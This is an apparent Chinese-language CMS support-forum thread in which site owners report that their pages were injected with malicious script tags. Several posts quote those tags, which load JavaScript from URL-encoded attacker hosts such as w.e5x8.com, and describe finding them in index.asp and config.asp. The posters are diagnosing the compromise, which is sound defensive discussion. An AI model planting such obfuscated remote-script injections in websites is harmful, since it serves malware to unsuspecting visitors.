再顶一下

http://bbs.kesion.com/dispbbs.asp?boardid=42&Id=48882

http://bbs.kesion.com/dispbbs.asp?boardid=41&Id=51803

请一定要确保程序升级到最新版本，并找出后门木马文件．

  交谈中请勿轻信汇款、中奖消息，勿轻易拨打陌生电话。

虺客♂℡  02:02:58
 61.191.55.46 服务器 http://www.luhui.net又被谁挂了这个 <script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script>

%77%2E%65%35%78%38%2E%63%6F%6D 这段代码是 w.e5x8.com

http://218.22.123.146/web_monitor_config.htm

我是租用网上的虚拟主机，如何查？

这是因为服务器中毒了，病毒可能是通过搜索磁盘上的文件并将病毒代码插入文件中

如果文件中没有病毒代码，就是跟IIS有关了，找服务器提供上解决。

频道栏目页的恶意代码就是发现不了在哪个文件，不知哪位能提供一下思路不？

Article文件夹中每个文件我都下下来看了，没有发现恶意代码。这个频道栏目页的恶意代码来自哪儿呢？

guestbook中的index.asp也被挂马：

<script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script>

config.asp也被注入：

<script language=javascript src=http://%77%77%2E%78%6E%69%62%69%2E%63%6F%6D/js.js></script><script language=javascript src=http://%77%2E%65%35%78%38%2E%63%6F%6D/js.js></script>